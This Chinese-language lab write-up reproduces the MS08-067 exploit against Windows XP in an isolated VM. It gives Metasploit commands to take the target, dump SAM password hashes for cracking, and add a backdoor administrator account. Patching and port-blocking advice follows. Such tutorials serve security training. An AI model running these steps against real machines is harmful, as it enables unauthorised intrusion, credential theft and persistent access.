📜 免责声明
本文仅用于网络安全技术交流与学习,严禁利用文中技术进行非法攻击。所有实验均在完全隔离的虚拟化环境(NAT模式)中完成。
0. 前言
在网络安全学习的道路上,MS08-067是一座必须翻越的大山。今天,我将记录下在实验室环境下,利用 Kali 对 Windows XP SP3 进行 MS08-067 漏洞复现的全过程,带大家直观感受“远程溢出”的破坏力。
1. 实验环境准备
我们要确保两台虚拟机处于同一网段,并关闭靶机防火墙。
- 攻击机 (Attacker) :
Kali Linux(IP: 192.168.239.130) - 靶机 (Victim) :
Windows XP SP3 (中文版)(IP: 192.168.239.131) - 工具:
Metasploit Framework (msfconsole)
2. 漏洞入侵:一键获取最高权限
MS08-067 漏洞通过伪造特殊的 RPC 请求,可以直接获取系统的 SYSTEM 权限。
第一步:启动 MSF 并选择模块
Bash
# 启动 Metasploit
msfconsole
# 选择 MS08-067 漏洞模块
msf6 > use exploit/windows/smb/ms08_067_netapi
第二步:配置攻击参数
这里需要精准设置靶机 IP,并养成检查配置的好习惯。
Bash
# 设置目标 IP
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.239.131
# 检查配置(确保 RPORT 445 开启)
msf6 exploit(windows/smb/ms08_067_netapi) > show options
第三步:执行攻击
Bash
msf6 exploit(windows/smb/ms08_067_netapi) > run
3. 远程控制与深度渗透
拿到 Meterpreter 会话后,我们就像进入了自家的后花园。
3.1 提取系统密码哈希 (Hashdump)
这是渗透中最令人激动的时刻。输入 hashdump 导出 SAM 数据库:
Bash
meterpreter > hashdump
解析:你会得到类似
Administrator:500:xxx:yyy:::的结果。yyy部分即为 NTLM 哈希,可通过在线平台或 John the Ripper 进行破解。
3.2 植入后门:影子管理员
为了维持访问,我们可以通过命令行添加一个自定义账号:
-
进入靶机 Shell:
Bash
meterpreter > shell
-
解决乱码(必做) :
DOS
C:\WINDOWS\system32> chcp 65001
-
添加账号与清理:
DOS
# 添加用户 test,密码 test net user test test /add # 查看当前用户列表 net user # 实验结束,清理痕迹 net user test /del
4. 重点避坑:为何我的命令失效了?
在复现过程中,你可能会遇到以下两个大坑:
-
问题 1:
sysinfo报错- 现象:提示
is not recognized as an internal command。 - 真相:你是在 Windows 的
shell里执行了 MSF 的命令。 - 对策:输入
exit回到meterpreter >提示符后再试。
- 现象:提示
-
问题 2:字符编码乱码
- 真相:Windows XP 中文版默认代码页是 936 (GBK),而 Kali 是 UTF-8。
- 对策:在 shell 中执行
chcp 65001。
5. 安全防御:如何堵住这个洞?
复现不是为了破坏,而是为了更好地保护。
- 安装官方补丁:安装微软发布的 KB958644 补丁。
- 网络层面隔离:在物理防火墙或系统防火墙上封禁 445 端口。
- 淘汰过时系统:Windows XP 早已不再接收安全更新,应尽快迁移至现代操作系统并开启 ASLR 和 DEP 保护。
6. 总结
从 MS08-067 到永恒之蓝,漏洞的利用方式在变,但核心逻辑依然是针对协议处理不当的溢出。作为安全初学者,动手复现能帮我们建立起从“攻击者视角”看系统的思维。